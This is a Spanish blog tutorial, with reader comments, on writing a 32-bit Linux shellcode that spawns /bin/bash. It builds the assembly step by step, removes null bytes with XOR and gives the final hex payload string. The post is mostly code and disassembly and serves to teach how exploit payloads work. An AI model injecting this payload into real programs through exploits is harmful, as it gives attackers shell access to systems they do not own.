sábado, 11 de diciembre de 2010

Proceso de escritura de un shellcode

Hoy me ha entrado del vicio de escribir un shellcode, aquí queda el proceso para quien se pregunte como se escriben estos extraños seres de la fauna binaria.

Actualización: me había olvidado del BITS 32 en el shellcode para que funcione bien

Un shellcode, llamados así porque generalmente lo que hacían era presentar una shell (aunque se puede hacer cualquier cosa con ellos), son trozos de código ensamblador, normalmente pasados a formato hexadecimal para un "consumo" más cómodo, cuya característica más importante es que se pueden cargar en cualquier posición de memoria.



Empezamos escribiendo un código que llame a execl con /bin/bash como parámetro[ http://pastebin.com/8FTgE4yz ]:

section .data ; Datos
    comando: db '/bin/bash', 0
    nullstring: dd 0

section .text ; Código
global _start

_start: ; Inicio
    mov eax, 11 ; execve
    mov ebx, comando ; path del ejecutable
    mov ecx, nullstring ; un 0, no se usarán parámetros

    int 0x80     ; Joeeeeeeeee!!! una de kerneeeeeeeel !!!


_end:   ; Esto solo lo finaliza
    mov eax, 1 ; sys_exit
    mov ebx, 0

    int 0x80


Lo siguiente es eliminar las direcciones absolutas lo que incluye todo el section .data, así que usaremos el stack para eso, recordar que crece hacia abajo, hay que meter las cosas "al revés"

section .text ; Código
global _start

_start: ; Inicio
    push dword 0

    mov ecx, esp ; Se guarda esta posición del stack
                 ; servirá para los argumentes

    ; //bin/bash , para cuadrarlo en words
    push dword 0x68736162 ; hsab (bash)
    push dword 0x2f6e6962 ; /nib (bin/)
    push word  0x2f2f     ; //

    mov eax, 11 ; execve
    mov ebx, esp ; path del ejecutable
    int 0x80     ; Se llama al kernel

_end:   ; Esto solo lo finaliza
    mov eax, 1 ; sys_exit
    mov ebx, 0
    int 0x80



Queda eliminar los 0's del código, ya que desensamblado es así

00000000  680000            push word 0x0
00000003  0000              add [bx+si],al
00000005  89E1              mov cx,sp
00000007  686261            push word 0x6162
0000000A  7368              jnc 0x74
0000000C  686269            push word 0x6962
0000000F  6E                outsb
00000010  2F                das
00000011  66682F2FB80B      push dword 0xbb82f2f
00000017  0000              add [bx+si],al
00000019  0089E3CD          add [bx+di-0x321d],cl
0000001D  80B8010000        cmp byte [bx+si+0x1],0x0
00000022  00BB0000          add [bp+di+0x0],bh
00000026  0000              add [bx+si],al
00000028  CD80              int 0x80


Y un shellcode con bytes nulos no es todo lo útil que podría, aquí los XOR allanan el camino

BITS 32

section .text ; Código
global _start

_start: ; Inicio
    xor eax, eax

    push eax

    mov ecx, esp ; Se guarda esta posición del stack
                 ; servirá para los argumentes


    ; ////bin/bash , para cuadrarlo en words
    push dword 0x68736162 ; hsab (bash)
    push dword 0x2f6e6962 ; /nib (bin/)

    push word  0x2f2f     ; //

    mov al, 11 ; execve

    mov ebx, esp ; path del ejecutable

    int 0x80    


_end:   ; Esto solo lo finaliza
    xor eax, eax ; sys_exit
    xor ebx, ebx

    inc eax
    int 0x80


Desensamblado:

00000000  31C0              xor ax,ax
00000002  50                push ax
00000003  89E1              mov cx,sp
00000005  686261            push word 0x6162
00000008  7368              jnc 0x72
0000000A  686269            push word 0x6962
0000000D  6E                outsb
0000000E  2F                das
0000000F  66682F2FB00B      push dword 0xbb02f2f
00000015  89E3              mov bx,sp
00000017  CD80              int 0x80
00000019  31C0              xor ax,ax
0000001B  31DB              xor bx,bx
0000001D  40                inc ax
0000001E  CD80              int 0x80


Sin ningún NULO, listo para servir

\x31\xc0\x50\x89\xe1\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x66\x68\x2f\x2f\xb0\x0b\x89\xe3\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80



ps: para quién llegó hasta aquí hay premio xD, un script para pasar el dumpeo binario de un shellcode al formato de string que se suele utilizar [ http://pastebin.com/mubdwfXS ]


Que aproveche :D!

6 comentarios:

  1. No entendi nada. XD ¿Que se supone que hace eso?

    ResponderEliminar
  2. Este es el código que se mete para que lo ejecuten los exploits, es código normal, pero como no sabes la dirección donde se va a cargar hay que buscarla usando trucos como el de meterlo en el stack y luego leer esp.

    Además como se suelen meter a través de strings, si contienen bytes \0 (nulos) se corta el código ahi, así que hay que evitarlos.

    ResponderEliminar
  3. Esto es chino para mi alguien expliquelo en español que para mi esta en chino. Soy novato. Lo veo interesante pero no lo entiendo.

    ResponderEliminar
  4. @anónimo: conoces ensamblador básico? lo siento, pero es necesario para entender esto ;)

    Suerte

    ResponderEliminar